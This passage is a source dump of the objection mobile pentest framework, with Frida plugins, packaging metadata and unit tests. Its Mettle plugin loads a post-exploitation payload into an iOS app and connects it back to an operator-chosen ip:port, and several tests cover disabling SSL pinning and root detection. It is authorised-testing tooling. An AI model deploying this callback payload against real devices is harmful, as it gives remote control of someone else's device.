    "content": "from flask import Blueprint\n\nfrom objection.utils.plugin import Plugin\n\n\nclass ApiLoader(Plugin):\n    \"\"\"\n        ApiLoader is a plugin that includes an API.\n\n        This is just an example plugin to demonstrate how you\n        could extend the objection API add your own endpoints.\n\n        Since this plugins namespace is called api, the urls in\n        our http_api method will therefore be:\n            http://localhost/api/ping\n            http://localhost/api/pong\n\n        For more information on Flask blueprints, check out the\n        documentation here:\n            https://flask.palletsprojects.com/en/1.1.x/blueprints/\n    \"\"\"\n\n    def __init__(self, ns):\n        \"\"\"\n            Creates a new instance of the plugin\n\n            :param ns:\n        \"\"\"\n\n        implementation = {}\n\n        super().__init__(__file__, ns, implementation)\n\n        self.inject()\n\n    def http_api(self) -> Blueprint:\n        \"\"\"\n            The API endpoints for this plugin.\n\n            :return:\n        \"\"\"\n\n        # sets the uri path to /api in this case\n        bp = Blueprint(self.namespace, __name__, url_prefix='/' + self.namespace)\n\n        # the endpoint with this function as the logic will be\n        # /api/ping.\n        # that's because the url_prefix is the namespace name,\n        # and the endpoint is /ping\n        @bp.route('/ping', methods=('GET', 'POST'))\n        def ping():\n            return 'pong'\n\n        @bp.route('/version', methods=('GET', 'POST'))\n        def version():\n            # call getVersion via the Frida RPC for this plugins\n            # agent, defined in index.js\n            return self.api.get_version()\n\n        return bp\n\n\nnamespace = 'api'\nplugin = ApiLoader\n"
  },
  {
    "path": "plugins/api/index.js",
    "content": "rpc.exports = {\n  getVersion: function () {\n    return Frida.version;\n  }\n}\n"
  },
  {
    "path": "plugins/flex/README.md",
    "content": "# objection Flex plugin\n\nThis plugin should sideload Flex[1], loaded as a plugin in objection.\nFlex itself should be a shared library (with your target's architecture as either a thin/fat Mach-o).\n\nThe source code for a shared library called libFlex is included in this gist as .h and .m files. You need to copy the `Classes/` directory from the official Flex project[1] into your project and compile that as a shared library.\n\n[1] [https://github.com/Flipboard/FLEX](https://github.com/Flipboard/FLEX)  \n"
  },
  {
    "path": "plugins/flex/__init__.py",
    "content": "import os\n\nimport click\nfrom objection.utils.plugin import Plugin\nfrom objection.commands.filemanager import _path_exists_ios, _upload_ios\nfrom objection.commands.device import _get_ios_environment\nfrom objection.state.connection import state_connection\n\n\nclass FlexLoader(Plugin):\n    \"\"\" FlexLoader loads Flex \"\"\"\n\n    def __init__(self, ns):\n        \"\"\"\n            Creates a new instance of the plugin\n\n            :param ns:\n        \"\"\"\n\n        implementation = {\n            'meta': 'Work with Flex',\n            'commands': {\n                'load': {\n                    'meta': 'Load flex',\n                    'exec': self.load_flex\n                }\n            }\n        }\n\n        super().__init__(__file__, ns, implementation)\n\n        self.inject()\n\n        self.flex_dylib = 'libFlex.arm64.dylib'\n\n    def load_flex(self, args: list):\n        \"\"\"\n            Loads flex.\n\n            :param args:\n            :return:\n        \"\"\"\n\n        agent = state_connection.get_api()\n        device_dylib_path = os.path.join(agent.env_ios_paths()['DocumentDirectory'], self.flex_dylib)\n\n        if not _path_exists_ios(device_dylib_path):\n            print('Flex not uploaded, uploading...')\n            if not self._upload_flex(device_dylib_path):\n                return\n\n        click.secho('Asking flex to load...', dim=True)\n        self.api.init_flex(self.flex_dylib)\n        click.secho('Flex should be up!', fg='green')\n\n    def _upload_flex(self, location: str) -> bool:\n        \"\"\"\n            Uploads Flex to the remote filesystem.\n\n            :return:\n        \"\"\"\n\n        local_flex = os.path.join(os.path.abspath(os.path.dirname(__file__)), self.flex_dylib)\n\n        if not os.path.exists(local_flex):\n            click.secho('{0} not available next to plugin file. Please build it!'.format(self.flex_dylib), fg='red')\n            return False\n\n        _upload_ios(local_flex, location)\n\n        return True\n\nnamespace = 'flex'\nplugin = FlexLoader"
  },
  {
    "path": "plugins/flex/index.js",
    "content": "rpc.exports = {\n  initFlex: function (dlib) {\n\n    const NSDocumentDirectory = 9;\n    const NSUserDomainMask = 1\n    const p = ObjC.classes.NSFileManager.defaultManager()\n      .URLsForDirectory_inDomains_(NSDocumentDirectory, NSUserDomainMask).lastObject().path();\n\n    ObjC.schedule(ObjC.mainQueue, function () {\n      const libFlexModule = Module.load(p + '/' + dlib);\n      const libFlexPtr = libFlexModule.findExportByName(\"OBJC_CLASS_$_libFlex\");\n      const libFlex = new ObjC.Object(libFlexPtr);\n\n      libFlex.alloc().init().flexUp();\n    });\n  }\n}\n"
  },
  {
    "path": "plugins/flex/libFlex.h",
    "content": "#import <Foundation/Foundation.h>\n\n@interface libFlex : NSObject\n\n- (id)init;\n- (void)logSomething:(NSString *)something;\n- (void)flexUp;\n\n@end\n"
  },
  {
    "path": "plugins/flex/libFlex.m",
    "content": "#import \"libFlex.h\"\n#import \"FlexManager.h\"\n\n@implementation libFlex\n\n- (id)init\n{\n    self = [super init];\n    return self;\n}\n\n- (void)logSomething:(NSString *)something\n{\n    NSLog(@\"%@\", something);\n}\n\n- (void)flexUp {\n\n    [[FLEXManager sharedManager] showExplorer];\n}\n\n@end\n\nstatic void __attribute__((constructor)) initialize(void){\n    NSLog(@\"==== Booted ====\");\n}\n"
  },
  {
    "path": "plugins/mettle/README.md",
    "content": "# objection Mettle plugin\n\nThis plugin should sideload [Mettle](https://github.com/rapid7/mettle), loaded as a plugin in objection.\nMettle itself should be a shared library available in this directory.\n\n## installation\n\nGetting Mettle is super simple.\n\n1. Clone the respistory with `git clone https://github.com/rapid7/mettle.git`.\n2. Build Mettle for your target architecture. Eg: `make TARGET=aarch64-iphone-darwin`.\n3. Codesign the new dylib in the build directory with `codesign -f -s <hash> mettle.dylib`\n4. Copy the codesigned dylib into this plugin folder.\n\nRunning `plugin mettle load` will grab the new dylib and upload it to the device.\n"
  },
  {
    "path": "plugins/mettle/__init__.py",
    "content": "import os\n\nimport click\n\nfrom objection.commands.filemanager import _path_exists_ios, _upload_ios\nfrom objection.state.connection import state_connection\nfrom objection.utils.plugin import Plugin\n\n\nclass MettleLoader(Plugin):\n    \"\"\" MettleLoader loads Mettle \"\"\"\n\n    def __init__(self, ns):\n        \"\"\"\n            Creates a new instance of the plugin\n\n            :param ns:\n        \"\"\"\n\n        implementation = {\n            'meta': 'Work with Mettle',\n            'commands': {\n                'load': {\n                    'meta': 'Load mettle',\n                    'exec': self.load_mettle\n                },\n                'connect': {\n                    'meta': 'Connect mettle',\n                    'exec': self.connect_mettle\n                }\n            }\n        }\n\n        super().__init__(__file__, ns, implementation)\n\n        self.inject()\n\n        self.mettle_dylib = 'mettle.dylib'\n\n    def load_mettle(self, args: list):\n        \"\"\"\n            Loads mettle.\n\n            :param args:\n            :return:\n        \"\"\"\n\n        agent = state_connection.get_api()\n        device_dylib_path = os.path.join(agent.env_ios_paths()['DocumentDirectory'], self.mettle_dylib)\n\n        if not _path_exists_ios(device_dylib_path):\n            print('Mettle not uploaded, uploading...')\n            if not self._upload_mettle(device_dylib_path):\n                return\n\n        click.secho('Loading dylib...', dim=True)\n        self.api.init_mettle(self.mettle_dylib)\n\n        click.secho('Mettle should be loaded! You can now issue the connect command.', fg='green')\n\n    def _upload_mettle(self, location: str) -> bool:\n        \"\"\"\n            Uploads Mettle to the remote filesystem.\n\n            :return:\n        \"\"\"\n\n        local_mettle = os.path.join(os.path.abspath(os.path.dirname(__file__)), self.mettle_dylib)\n        if not os.path.exists(local_mettle):\n            click.secho('{0} not available next to plugin file. Please build it and copy it there!'.format(\n                self.mettle_dylib), fg='red')\n            return False\n\n        _upload_ios(local_mettle, location)\n\n        return True\n\n    def connect_mettle(self, args: list):\n        if len(args) < 2:\n            click.secho(\"Usage: plugin mettle connect <ip> <port>\")\n            return\n\n        ip = args[0]\n        port = args[1]\n\n        click.secho(\"Connecting to {}:{}\".format(ip, port), dim=True)\n        self.api.connect_mettle(self.mettle_dylib, ip, port)\n\n\nnamespace = 'mettle'\nplugin = MettleLoader\n"
  },
  {
    "path": "plugins/mettle/index.js",
    "content": "rpc.exports = {\n  initMettle: function (dlib) {\n    const NSDocumentDirectory = 9;\n    const NSUserDomainMask = 1\n    const p = ObjC.classes.NSFileManager.defaultManager()\n      .URLsForDirectory_inDomains_(NSDocumentDirectory, NSUserDomainMask).lastObject().path();\n\n    ObjC.schedule(ObjC.mainQueue, function () {\n      Module.load(p + '/' + dlib);\n    });\n  },\n  connectMettle: function(dlib, ip, port) {\n    var source = \"#include <glib.h>\" +\n    \"char **getargs() {\" +\n    \"    char **argv = g_malloc(3 * sizeof(char*));\" +\n    \"    argv[0] = \\\"mettle\\\";\" +\n    \"    argv[1] = \\\"-u\\\";\" +\n    \"    argv[2] = \\\"tcp://{ip}:{port}\\\";\" +\n    \"    return argv;\" +\n    \"}\";\n\n    // update with the target ip:port\n    source = source.replace(\"{ip}\", ip);\n    source = source.replace(\"{port}\", port);\n\n    const cm = new CModule(source);\n    const argv = new NativeFunction(cm.getargs, 'pointer', []);\n\n    const mettle = Process.getModuleByName(dlib);\n    const mettleMainPtr = mettle.findExportByName('main');\n    console.log('Found mettle::main @ ' + mettleMainPtr);\n    const mettleMain = new NativeFunction(mettleMainPtr, 'void', ['int', 'pointer']);\n\n    // don't block the ui\n    ObjC.schedule(ObjC.mainQueue, function () {\n      console.log('Calling mettleMain()');\n      mettleMain(3, argv());\n    });\n  }\n}\n"
  },
  {
    "path": "plugins/stetho/README.md",
    "content": "# objection stetho plugin\n\nThis plugin should sideload Facebook's Stetho [1], loaded as a plugin in objection.\n\n[1] [http://facebook.github.io/stetho/](http://facebook.github.io/stetho/)  \n"
  },
  {
    "path": "plugins/stetho/__init__.py",
    "content": "import os\n\nimport click\nfrom objection.utils.plugin import Plugin\nfrom objection.commands.filemanager import _path_exists_android, _upload_android\nfrom objection.commands.device import _get_android_environment\nfrom objection.state.connection import state_connection\n\n\nclass StethoLoader(Plugin):\n    \"\"\" StethoLoader loads Facebook's stetho \"\"\"\n\n    def __init__(self, ns):\n        \"\"\"\n            Creates a new instance of the plugin\n\n            :param ns:\n        \"\"\"\n\n        implementation = {\n            'meta': 'Work with Facebook\\'s stetho',\n            'commands': {\n                'load': {\n                    'meta': 'Load stetho',\n                    'exec': self.load_stetho\n                }\n            }\n        }\n\n        super().__init__(__file__, ns, implementation)\n\n        self.inject()\n\n        self.stetho_jar = 'stetho.apk'\n\n    def load_stetho(self, args: list):\n        \"\"\"\n            Loads stetho.\n\n            :param args:\n            :return:\n        \"\"\"\n\n        agent = state_connection.get_api()\n        device_jar_path = os.path.join(agent.env_android_paths()['cacheDirectory'], self.stetho_jar)\n\n        if not _path_exists_android(device_jar_path):\n            print('Stetho not uploaded, uploading...')\n            if not self._upload_stetho(device_jar_path):\n                return\n\n        click.secho('Asking stetho to load...', dim=True)\n        self.api.init_stetho()\n\n    def _upload_stetho(self, location: str) -> bool:\n        \"\"\"\n            Uploads Stetho to the remote filesystem.\n\n            :return:\n        \"\"\"\n\n        local_stetho = os.path.join(os.path.abspath(os.path.dirname(__file__)), self.stetho_jar)\n\n        if not os.path.exists(local_stetho):\n            click.secho('{0} not available next to plugin file. Please download Stetho and convert first!'.format(self.stetho_jar), fg='red')\n            click.secho('   curl -sL https://github.com/facebook/stetho/releases/download/v1.5.1/stetho-1.5.1-fatjar.jar -O', dim=True)\n            click.secho('   dx --dex --output=\"stetho.apk\" stetho-1.5.1.jar', dim=True)\n            return False\n\n        _upload_android(local_stetho, location)\n\n        return True\n\nnamespace = 'stetho'\nplugin = StethoLoader\n"
  },
  {
    "path": "plugins/stetho/index.js",
    "content": "rpc.exports = {\n  initStetho: function () {\n    Java.perform(function () {\n\n      const stethoClassName = 'com.facebook.stetho.Stetho';\n      const stethoJar = 'stetho.apk';\n\n      const pathClassLoader = Java.use('dalvik.system.PathClassLoader');\n      const javaFile = Java.use('java.io.File');\n      const activityThread = Java.use('android.app.ActivityThread');\n\n      const currentApplication = activityThread.currentApplication();\n      const context = currentApplication.getApplicationContext();\n\n      // Check if stetho is here already.\n      console.log('Searching for stetho...');\n      const stethoCheck = Java.enumerateLoadedClassesSync().filter(function (e) {\n        return e.includes('com.facebook.stetho.Stetho');\n      });\n\n      if (stethoCheck.length > 0) {\n        console.log('Stetho class already loaded!');\n      } else {\n        console.log('Stetho class not found, running classloader');\n\n        const packageFilesDir = context.getCacheDir().getAbsolutePath().toString();\n        const stethoJarDir = packageFilesDir + '/' + stethoJar;\n\n        const javaStethoJarDir = javaFile.$new(stethoJarDir);\n        if (!javaStethoJarDir.exists()) {\n          console.log('Stetho jar is not available in cachedir at: ' + packageFilesDir);\n          console.log('Stetho NOT successfully loaded');\n          return;\n        }\n\n        // https://developer.android.com/reference/dalvik/system/PathClassLoader#PathClassLoader(java.lang.String,%20java.lang.String,%20java.lang.ClassLoader)\n        const loader = pathClassLoader.$new(javaStethoJarDir.getAbsolutePath(), null, currentApplication.getClassLoader());\n\n        console.log('Loading class ' + stethoClassName + ' using new classloader');\n        loader.loadClass(stethoClassName);\n      }\n\n      // Attempt to use the new class. First, search for a specific classloader to use.\n      try {\n\n        console.log('Searching for the new stetho classloader...');\n        const classLoaders = Java.enumerateClassLoadersSync().filter(function (l) {\n          return l.toString().includes('stetho');\n        });\n\n        if (classLoaders.length != 1) { throw \"No valid Stetho classloader found\"; }\n\n        Java.classFactory.loader = classLoaders[0];\n\n        console.log('Using the class: ' + stethoClassName);\n\n        const stetho = Java.use(stethoClassName);\n        console.log('Calling initializeWithDefaults');\n        stetho.initializeWithDefaults(context);\n\n      } catch (err) {\n\n        console.log('Failed to load by specifying the classloader with: ' + err.toString());\n        console.log('Trying plan B...');\n\n        try {\n\n          const stetho = Java.use(stethoClassName);\n          console.log('Calling initializeWithDefaults');\n          stetho.initializeWithDefaults(context);\n\n        } catch (err) {\n          console.log('Could not find stetho without specifying a classloader either (plan B). Err: ' + err.toString());\n          console.log('Stetho NOT successfully loaded');\n          return;\n        }\n      }\n\n      console.log('\\nStetho up!');\n    });\n  }\n}\n"
  },
  {
    "path": "pyproject.toml",
    "content": "[build-system]\nrequires = [\"setuptools>=70.0\", \"wheel\"]\nbuild-backend = \"setuptools.build_meta\"\n\n[project]\nname = \"objection\"\nversion = \"1.12.3\"\ndescription = \"Instrumented Mobile Pentest Framework\"\nreadme = \"README.md\"\nrequires-python = \">=3.10\"\nlicense = \"GPL-3.0-or-later\"\nauthors = [{name = \"Leon Jacobs\", email = \"leon@sensepost.com\"}]\nkeywords = [\"mobile\", \"instrumentation\", \"pentest\", \"frida\", \"hook\"]\nclassifiers = [\n    \"Natural Language :: English\",\n    \"Operating System :: OS Independent\",\n    \"Programming Language :: Python :: 3 :: Only\",\n    \"Programming Language :: JavaScript\",\n]\ndependencies = [\n    \"click>=8.2.0\",\n    \"delegator-py>=0.1.1\",\n    \"flask>=3.0.0\",\n    \"frida>=16.0.0\",\n    \"frida-tools>=10.0.0\",\n    \"litecli>=1.3.0\",\n    \"packaging>=23.0\",\n    \"prompt-toolkit>=3.0.30,<4.0.0\",\n    \"pygments>=2.0.0\",\n    \"requests>=2.32.0\",\n    \"semver>=2\",\n    \"setuptools>=70.0.0\",\n    \"tabulate>=0.9.0\",\n]\n\n[project.urls]\nHomepage = \"https://github.com/sensepost/objection\"\nRepository = \"https://github.com/sensepost/objection\"\n\"Bug Tracker\" = \"https://github.com/sensepost/objection/issues\"\n\n[project.scripts]\nobjection = \"objection.console.cli:cli\"\n\n[tool.setuptools]\npackage-dir = {\"\" = \".\"}\n\n[tool.setuptools.packages.find]\ninclude = [\"objection\", \"objection.*\"]\n\n[tool.setuptools.package-data]\nobjection = [\n    \"console/helpfiles/*.txt\",\n    \"utils/assets/*.jks\",\n    \"utils/assets/*.js\",\n    \"utils/assets/*.xml\",\n    \"agent.js\",\n]\n"
  },
  {
    "path": "tests/__init__.py",
    "content": ""
  },
  {
    "path": "tests/commands/__init__.py",
    "content": ""
  },
  {
    "path": "tests/commands/android/__init__.py",
    "content": ""
  },
  {
    "path": "tests/commands/android/test_clipboard.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.android.clipboard import monitor\n\n\nclass TestClipboard(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_monitor(self, mock_api):\n        monitor([])\n\n        self.assertTrue(mock_api.return_value.android_monitor_clipboard.called)\n"
  },
  {
    "path": "tests/commands/android/test_command.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.android.command import execute\nfrom ...helpers import capture\n\n\nclass TestCommand(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_execute_prints_output(self, mock_api):\n        mock_api.return_value.android_shell_exec.return_value = {\n            'command': 'foo bar baz', 'stdErr': 'bazfoo', 'stdOut': 'foobar\\n'\n        }\n\n        with capture(execute, ['foo', 'bar', 'baz']) as o:\n            output = o\n\n        expected_output = \"\"\"Running shell command: foo bar baz\n\nfoobar\n\nbazfoo\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n"
  },
  {
    "path": "tests/commands/android/test_heap.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.android.heap import instances\nfrom tests.helpers import capture\n\n\nclass TestHeap(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_print_live_instances_validates_command(self, mock_api):\n        with capture(instances, []) as o:\n            output = o\n\n        self.assertEqual('Usage: android heap print_instances <class> (eg: com.example.test)\\n', output)\n        self.assertFalse(mock_api.return_value.android_heap_get_live_class_instances.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_print_live_instances_validates_command(self, mock_api):\n        instances(['java.io.File'])\n\n        self.assertTrue(mock_api.return_value.android_heap_get_live_class_instances.called)\n"
  },
  {
    "path": "tests/commands/android/test_hooking.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.android.hooking import _string_is_true, _should_dump_backtrace, _should_dump_args, \\\n    _should_dump_return_value, show_android_classes, show_android_class_methods, \\\n    show_registered_broadcast_receivers, show_registered_services, show_registered_activities, \\\n    set_method_return_value, get_current_activity\nfrom ...helpers import capture\n\n\nclass TestHooking(unittest.TestCase):\n    def test_checks_if_string_value_is_python_boolean_true(self):\n        result = _string_is_true('true')\n\n        self.assertTrue(result)\n\n    def test_checks_if_string_value_is_python_boolean_false(self):\n        result = _string_is_true('false')\n\n        self.assertFalse(result)\n\n    def test_argument_includes_backtrace_flag(self):\n        result = _should_dump_backtrace([\n            '--test',\n            '--dump-backtrace'\n        ])\n\n        self.assertTrue(result)\n\n    def test_argument_dump_args_returns_true(self):\n        result = _should_dump_args([\n            '--foo',\n            '--dump-args'\n        ])\n\n        self.assertTrue(result)\n\n    def test_argument_dump_args_returns_false(self):\n        result = _should_dump_args([\n            '--foo',\n        ])\n\n        self.assertFalse(result)\n\n    def test_argument_dump_return_returns_true(self):\n        result = _should_dump_return_value([\n            '--foo',\n            '--dump-return'\n        ])\n\n        self.assertTrue(result)\n\n    def test_argument_dump_return_returns_false(self):\n        result = _should_dump_return_value([\n            '--foo',\n        ])\n\n        self.assertFalse(result)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_android_classes(self, mock_api):\n        mock_api.return_value.android_hooking_get_classes.return_value = [\n            'foo',\n            'bar',\n            'baz'\n        ]\n\n        with capture(show_android_classes, []) as o:\n            output = o\n\n        expected_output = \"\"\"bar\nbaz\nfoo\n\nFound 3 classes\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    def test_show_android_class_methods_validates_arguments(self):\n        with capture(show_android_class_methods, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: android hooking list class_methods <class name>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_android_class_methods(self, mock_api):\n        mock_api.return_value.android_hooking_get_class_methods.return_value = [\n            'foo',\n            'bar',\n            'baz'\n        ]\n\n        with capture(show_android_class_methods, ['com.foo.bar']) as o:\n            output = o\n\n        expected_output = \"\"\"bar\nbaz\nfoo\n\nFound 3 method(s)\n\"\"\"\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_registered_broadcast_receivers_handles_empty_data(self, mock_api):\n        mock_api.return_value.android_hooking_list_broadcast_receivers.return_value = []\n\n        with capture(show_registered_broadcast_receivers, []) as o:\n            output = o\n\n        self.assertEqual(output, '\\nFound 0 classes\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_registered_broadcast_receivers(self, mock_api):\n        mock_api.return_value.android_hooking_list_broadcast_receivers.return_value = [\n            'foo', 'bar', 'baz'\n        ]\n\n        with capture(show_registered_broadcast_receivers, []) as o:\n            output = o\n\n        expected_output = \"\"\"bar\nbaz\nfoo\n\nFound 3 classes\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_registered_services_handles_empty_data(self, mock_api):\n        mock_api.return_value.android_hooking_list_services.return_value = []\n\n        with capture(show_registered_services, []) as o:\n            output = o\n\n        self.assertEqual(output, '\\nFound 0 classes\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_services(self, mock_api):\n        mock_api.return_value.android_hooking_list_services.return_value = [\n            'foo', 'bar', 'baz'\n        ]\n\n        with capture(show_registered_services, []) as o:\n            output = o\n\n        expected_output = \"\"\"bar\nbaz\nfoo\n\nFound 3 classes\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_registered_activities_handles_empty_data(self, mock_api):\n        mock_api.return_value.android_hooking_list_activities.return_value = []\n\n        with capture(show_registered_activities, []) as o:\n            output = o\n\n        self.assertEqual(output, '\\nFound 0 classes\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_registered_activities(self, mock_api):\n        mock_api.return_value.android_hooking_list_activities.return_value = [\n            'foo', 'bar', 'baz'\n        ]\n\n        with capture(show_registered_activities, []) as o:\n            output = o\n\n        expected_output = \"\"\"bar\nbaz\nfoo\n\nFound 3 classes\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    def test_set_method_return_value_validates_arguments(self):\n        with capture(set_method_return_value, ['com.foo.bar']) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: android hooking set return_value '\n                                 '\"<fully qualified class method>\" \"<optional'\n                                 ' overload>\" (eg: \"com.example.test.doLogin\") <true/false>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_set_method_return_value(self, mock_api):\n        set_method_return_value(['com.foo.bar', 'isValid.overload(\\'bar\\')', 'false'])\n\n        self.assertTrue(mock_api.return_value.android_hooking_set_method_return.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_get_current_activity_and_fragment(self, mock_api):\n        mock_api.return_value.android_hooking_get_current_activity.return_value = {\n            'activity': 'foo',\n            'fragment': 'bar',\n        }\n\n        with capture(get_current_activity, []) as o:\n            output = o\n\n        expected_output = \"\"\"Activity: foo\nFragment: bar\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n"
  },
  {
    "path": "tests/commands/android/test_intents.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.android.intents import launch_activity, launch_service, analyze_implicit_intents\nfrom ...helpers import capture\n\n\nclass TestIntents(unittest.TestCase):\n    def test_launch_activity_validates_arguments(self):\n        with capture(launch_activity, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: android intent launch_activity <activity_class>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_launch_activity(self, mock_api):\n        launch_activity(['com.foo.bar'])\n\n        self.assertTrue(mock_api.return_value.android_intent_start_activity.called)\n\n    def test_launch_service_validates_arguments(self):\n        with capture(launch_service, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: android intent launch_service <service_class>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_launch_service(self, mock_api):\n        launch_service(['com.foo.bar'])\n\n        self.assertTrue(mock_api.return_value.android_intent_start_service.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_analyze_implicit_intents(self, mock_api):\n        analyze_implicit_intents([])\n\n        self.assertTrue(mock_api.return_value.android_intent_analyze.called)\n"
  },
  {
    "path": "tests/commands/android/test_keystore.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.android.keystore import entries, clear\nfrom ...helpers import capture\n\n\nclass TestKeystore(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_entries_handles_empty_data(self, mock_api):\n        mock_api.return_value.android_keystore_list.return_value = []\n\n        with capture(entries, []) as o:\n            output = o\n\n        expected_output = \"\"\"Alias    Key    Certificate\n-------  -----  -------------\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_entries_handles(self, mock_api):\n        mock_api.return_value.android_keystore_list.return_value = [{\n            'alias': 'test',\n            'is_key': True,\n            'is_certificate': True\n        }]\n\n        with capture(entries, []) as o:\n            output = o\n\n        expected_output = \"\"\"Alias    Key    Certificate\n-------  -----  -------------\ntest     True   True\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.android.keystore.click.confirm')\n    def test_clear(self, mock_confirm, mock_api):\n        mock_confirm.return_value = True\n\n        clear()\n\n        self.assertTrue(mock_api.return_value.android_keystore_clear.called)\n"
  },
  {
    "path": "tests/commands/android/test_pinning.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.android.pinning import android_disable\n\n\nclass TestPinning(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_pinning_disable(self, mock_api):\n        android_disable([])\n\n        self.assertTrue(mock_api.return_value.android_ssl_pinning_disable.called)\n"
  },
  {
    "path": "tests/commands/android/test_root.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.android.root import disable, simulate\n\n\nclass TestRoot(unittest.TestCase):\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_disable(self, mock_api):\n        disable([])\n\n        self.assertTrue(mock_api.return_value.android_root_detection_disable.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_simulate(self, mock_api):\n        simulate([])\n\n        self.assertTrue(mock_api.return_value.android_root_detection_enable.called)\n"
  },
  {
    "path": "tests/commands/ios/__init__.py",
    "content": ""
  },
  {
    "path": "tests/commands/ios/test_bundles.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ios.bundles import show_frameworks, _should_include_apple_bundles, _should_print_full_path, \\\n    _is_apple_bundle, show_bundles\nfrom ...helpers import capture\n\n\nclass TestBundles(unittest.TestCase):\n    def setUp(self) -> None:\n        self.bundle_data = [\n            {\n                'bundle': 'com.apple.AppleIDSSOAuthentication',\n                'executable': 'AppleIDSSOAuthentication',\n                'path': '/AppleIDSSOAuthentication',\n                'version': '1.0'\n            },\n            {\n                'bundle': 'com.apple.LinguisticData',\n                'executable': 'LinguisticData',\n                'path': '/LinguisticData/LinguisticDataLinguisticDataLinguisticDataLinguisticData',\n                'version': '1.0'\n            },\n            {\n                'bundle': 'net.hockeyapp.sdk.ios',\n                'executable': 'hockeyapp',\n                'path': '/hockeyapp',\n                'version': '1.0'\n            },\n            {\n                'bundle': 'za.apple.MapKit',\n                'executable': 'MapKit',\n                'path': '/MapKit',\n                'version': '1.0'\n            }\n        ]\n\n    def test_should_include_apple_bundles_helper_is_true(self):\n        data = ['foo', 'bar', '--include-apple-frameworks']\n        self.assertTrue(_should_include_apple_bundles(data))\n\n    def test_should_include_apple_bundles_helper_is_false(self):\n        data = ['foo', 'bar']\n        self.assertFalse(_should_include_apple_bundles(data))\n\n    def test_should_print_full_path_helper_is_true(self):\n        data = ['foo', 'bar', '--full-path']\n        self.assertTrue(_should_print_full_path(data))\n\n    def test_should_print_full_path_helper_is_false(self):\n        data = ['foo', 'bar']\n        self.assertFalse(_should_print_full_path(data))\n\n    def test_is_apple_bunlde_returns_false_on_none(self):\n        self.assertFalse(_is_apple_bundle(None))\n\n    def test_is_apple_bunlde_returns_true_for_apple_bundle(self):\n        self.assertTrue(_is_apple_bundle('com.apple.PhoneNumbers'))\n\n    def test_is_apple_bunlde_returns_false_for_string_not_starting_with_com_apple(self):\n        self.assertFalse(_is_apple_bundle('za.com.apple.PhoneNumbers'))\n\n    def test_is_apple_bunlde_returns_false_for_non_apple_bundle(self):\n        self.assertFalse(_is_apple_bundle('net.hockeyapp.sdk.ios'))\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_frameworks_prints_without_apple_bundles(self, mock_api):\n        mock_api.return_value.ios_bundles_get_frameworks.return_value = self.bundle_data\n\n        with capture(show_frameworks, []) as o:\n            output = o\n\n        expected = \"\"\"Executable    Bundle                   Version  Path\n------------  ---------------------  ---------  ----------\nhockeyapp     net.hockeyapp.sdk.ios          1  /hockeyapp\nMapKit        za.apple.MapKit                1  /MapKit\n\"\"\"\n\n        self.assertEqual(output, expected)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_show_frameworks_prints_with_apple_bundles(self, mock_api):\n        mock_api.return_value.ios_bundles_get_frameworks.return_value = self.bundle_data\n\n        with capture(show_frameworks, ['--include-apple-frameworks']) as o:\n            output = o\n\n        expected = \"\"\"Executable                Bundle                                Version  Path\n------------------------  ----------------------------------  ---------  -------------------------------------------\nAppleIDSSOAuthentication  com.apple.AppleIDSSOAuthentication          1  /AppleIDSSOAuthentication\nLinguisticData            com.apple.LinguisticData                    1  ...nguisticDataLinguisticDataLinguisticData\nhockeyapp                 net.hockeyapp.sdk.ios                       1  /hockeyapp\nMapKit                    za.apple.MapKit                             1  /MapKit\n\"\"\"\n\n        self.assertEqual(output, expected)\n\n    